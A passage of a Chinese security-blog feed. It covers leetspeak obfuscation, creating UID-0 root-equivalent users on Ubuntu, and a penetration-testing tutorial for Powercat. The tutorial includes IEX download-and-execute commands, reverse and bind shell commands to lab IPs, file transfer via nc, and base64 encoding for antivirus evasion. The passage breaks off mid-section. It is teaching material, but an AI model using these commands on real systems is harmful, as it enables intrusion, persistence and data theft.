 &lt;td style="text-align: center"&gt;3, €&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;G/g&lt;/td&gt;
 &lt;td style="text-align: center"&gt;6, 9&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;I/i&lt;/td&gt;
 &lt;td style="text-align: center"&gt;1, !,&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;O/o&lt;/td&gt;
 &lt;td style="text-align: center"&gt;0, ()&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;S/s&lt;/td&gt;
 &lt;td style="text-align: center"&gt;5, $&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;T/t&lt;/td&gt;
 &lt;td style="text-align: center"&gt;7, +&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="示例列表"&gt;&lt;strong&gt;示例列表&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-简单数字替换"&gt;&lt;strong&gt;1. 简单数字替换&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;backup folder&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;b4ckupf0ld3r&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;private data&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;pr1v4t3d4t4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;admin tools&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;4dm1nt00l5&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-符号混合替换"&gt;&lt;strong&gt;2. 符号混合替换&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;security logs&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;$3cur1tyl0g$&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;confidential&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;c0nf1d3n7!4l&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;hacker zone&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;h4ck3rz0n3&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-复杂混淆符号大小写"&gt;&lt;strong&gt;3. 复杂混淆（符号+大小写）&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;top secret project&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;7()p$3cr37pr0j3c7&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;system files&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;$y$73mF!l3$&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;encryption key&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;3ncrYP710nK3y!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-幽默短语"&gt;&lt;strong&gt;4. 幽默短语&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;delete this later&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;d3l3737h!zl4t3r&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;do not open&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;d0N()70p3n!!&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;trust no one&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;7ru$7n00n3&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-网络文化梗"&gt;&lt;strong&gt;5. 网络文化梗&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;hello world&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;h3ll0w0r1d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;lol no way&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;101n0w4y&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;ldquo;yeet archive&amp;rdquo;&lt;/strong&gt; → &lt;code&gt;y3374rch!v3&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="进阶技巧"&gt;&lt;strong&gt;进阶技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;随机大小写&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;p4SsW0rD&lt;/code&gt;（password）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AdM!n_P4n3l&lt;/code&gt;（admin panel）&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;插入冗余字符&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;s3cr3t!!1!&lt;/code&gt;（结尾的 &lt;code&gt;!!1!&lt;/code&gt; 模仿打字错误）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;f0ld3r~#&lt;/code&gt;（添加无意义符号）&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;拆分单词&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;d4t4_b4s3&lt;/code&gt;（database）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;l0g_5t0r4g3&lt;/code&gt;（log storage）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="实际应用场景"&gt;&lt;strong&gt;实际应用场景&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;隐藏文件夹名&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;将 &lt;code&gt;secret_docs&lt;/code&gt; 改为 &lt;code&gt;$3cr37_d0x&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;生成强密码&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;M@st3rK3y!2024&lt;/code&gt;（原词：MasterKey）&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;代码变量名&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;u53r_1nput&lt;/code&gt;（user input）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;借助AI能帮我们快速识别类似的英语文化的短语，弥补我们英语的不足。&lt;/p&gt;
&lt;h2 id="补充知识点新建与root相同权限的用户"&gt;补充知识点：新建与root相同权限的用户
&lt;/h2&gt;&lt;p&gt;在 Ubuntu 14 中，若需要新建一个与 &lt;code&gt;root&lt;/code&gt; 拥有相同权限的账户，可以通过以下方法实现。&lt;strong&gt;（注意：赋予普通用户 root 权限存在安全风险，请谨慎操作！）&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="方法-1将用户加入"&gt;&lt;strong&gt;方法 1：将用户加入 &lt;code&gt;sudo&lt;/code&gt; 组（推荐）&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;这是最安全的做法，用户可以通过 &lt;code&gt;sudo&lt;/code&gt; 临时获得 root 权限。&lt;/p&gt;
&lt;h4 id="步骤"&gt;&lt;strong&gt;步骤&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;创建用户&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo adduser newadmin &lt;span class="c1"&gt;# 交互式创建用户，设置密码等信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;将用户加入 &lt;code&gt;sudo&lt;/code&gt; 组&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo usermod -aG sudo newadmin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;验证权限&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;su - newadmin &lt;span class="c1"&gt;# 切换到新用户&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo -i &lt;span class="c1"&gt;# 测试获取 root shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="方法-2直接赋予用户"&gt;&lt;strong&gt;方法 2：直接赋予用户 &lt;code&gt;root&lt;/code&gt; 权限（UID=0）&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;将用户的 UID 改为 &lt;code&gt;0&lt;/code&gt;，使其等同于 &lt;code&gt;root&lt;/code&gt; 用户。&lt;strong&gt;（危险！此操作会绕过权限控制，慎用！）&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="步骤-1"&gt;&lt;strong&gt;步骤&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;创建用户&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo useradd -m -s /bin/bash newroot &lt;span class="c1"&gt;# 创建用户并生成主目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;修改用户 UID 为 0&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo usermod -u &lt;span class="m"&gt;0&lt;/span&gt; newroot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;设置密码&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo passwd newroot &lt;span class="c1"&gt;# 设置新用户的密码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;&lt;strong&gt;验证权限&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;su - newroot &lt;span class="c1"&gt;# 切换到新用户&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;whoami &lt;span class="c1"&gt;# 应显示 &amp;#34;root&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="验证用户权限"&gt;&lt;strong&gt;验证用户权限&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查用户组&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;groups newadmin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查 sudo 权限&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sudo -lU newadmin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查 UID（若使用方法2）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;id newroot &lt;span class="c1"&gt;# 应显示 uid=0(root)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day12 Kali渗透工具Powercat和Wireshark、tcpdump</title><link>https://ruajingjing.top/post/day12-kali%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7powercat%E5%92%8Cwireshark/</link><pubDate>Thu, 15 May 2025 10:40:48 +0000</pubDate><guid>https://ruajingjing.top/post/day12-kali%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7powercat%E5%92%8Cwireshark/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day12 Kali渗透工具Powercat和Wireshark、tcpdump" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="powercat"&gt;PowerCat
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;​概述​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;定义：基于 PowerShell 的 Netcat 变种，支持 TCP/UDP 通信、端口转发和反向 Shell。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;优势：无需安装，可直接在内存中运行，规避杀毒软件检测（上一章的原版powershell不关WD直接用不了，实际环境中是很鸡肋的）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;渗透测试用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;反向 Shell：绕过防火墙建立远程控制通道。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;文件传输：在攻击者和目标间传输数据。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;端口扫描：探测开放端口和服务。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;代理跳板：通过目标主机访问内网资源。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;使用方法&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="步骤-1加载-powercat"&gt;步骤 1：加载 PowerCat
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# kali下载&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;apt&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="n"&gt;powercat&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;#安装后文件位于，/usr/share/windows-resources/powercat,需要拷贝到windows中执行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Windows下载kali的文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;powershell&lt;/span&gt; &lt;span class="n"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;(new-object System.Net.WebClient).DownloadFile(&amp;#39;http://172.168.169.128:8000/powercat.ps1&amp;#39;,&amp;#39;C:\Users\Administrator\Downloads\powercat.ps1&amp;#39;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Windows远程加载（常用）,不加载用不了的&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;IEX &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;Net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WebClient&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="py"&gt;DownloadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://172.168.169.128:8000/powercat.ps1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250514212503813" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/0711cda68ec32cb2e92460ee1e761601.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250514215328807" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/5c1d60856fb868efff443d84b8a9efe4.png"&gt;&lt;/p&gt;
&lt;h3 id="步骤-2常用操作"&gt;步骤 2：常用操作
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 监听端口并获取反向 Shell（攻击者端）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;powercat&lt;/span&gt; &lt;span class="n"&gt;-l&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="mf"&gt;4444&lt;/span&gt; &lt;span class="n"&gt;-e&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 目标机连接攻击者（反向 Shell）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;powercat&lt;/span&gt; &lt;span class="n"&gt;-c&lt;/span&gt; &lt;span class="n"&gt;attacker_ip&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="mf"&gt;4444&lt;/span&gt; &lt;span class="n"&gt;-e&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 端口转发（将本地 8080 转发到 10.0.0.1:80）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;powercat&lt;/span&gt; &lt;span class="n"&gt;-l&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="mf"&gt;8080&lt;/span&gt; &lt;span class="n"&gt;-r&lt;/span&gt; &lt;span class="n"&gt;tcp&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250514220352241" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/294dbde8c4091fc6b0a7be800b92a886.png"&gt;&lt;/p&gt;
&lt;p&gt;记得关闭Windows Defender不然执行不成功。&lt;/p&gt;
&lt;h4 id="powercat-传输文件"&gt;powercat 传输文件
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali：nc -nvlp &lt;span class="m"&gt;8000&lt;/span&gt; &amp;gt; ahell.txt &lt;span class="c1"&gt;#接收端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;powercat -c 172.168.169.128 -p &lt;span class="m"&gt;8000&lt;/span&gt; -i hello.txt &lt;span class="c1"&gt;#发送端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;-c #客户端&lt;/p&gt;
&lt;p&gt;-p #目标端口&lt;/p&gt;
&lt;p&gt;-i #要传输的本地文件&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250514222139160" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/24d63fd02c6d39f57c7fbabe28d5c1a8.png"&gt;&lt;/p&gt;
&lt;h4 id="反弹shell"&gt;反弹shell
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;Kali：nc -nvlp &lt;span class="m"&gt;443&lt;/span&gt; &lt;span class="c1"&gt;#控制端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;powercat -c 172.168.169.128 -p &lt;span class="m"&gt;443&lt;/span&gt; -e cmd.exe &lt;span class="c1"&gt;#被控端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="正向shell"&gt;正向shell
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;powercat -l -p &lt;span class="m"&gt;4443&lt;/span&gt; -e cmd.exe &lt;span class="c1"&gt;#被控端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;kali： nc 172.168.169.136 &lt;span class="m"&gt;4443&lt;/span&gt; &lt;span class="c1"&gt;#控制端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250514222357977" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/4cf80f05092acb5a3b3ef3f47c3b2ed3.png"&gt;&lt;/p&gt;
&lt;h3 id="加密防微软"&gt;加密防微软
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;powercat -c 172.168.169.128 -p &lt;span class="m"&gt;443&lt;/span&gt; -e cmd.exe -ge &amp;gt; bmshell.ps1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -ge（base64编码）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
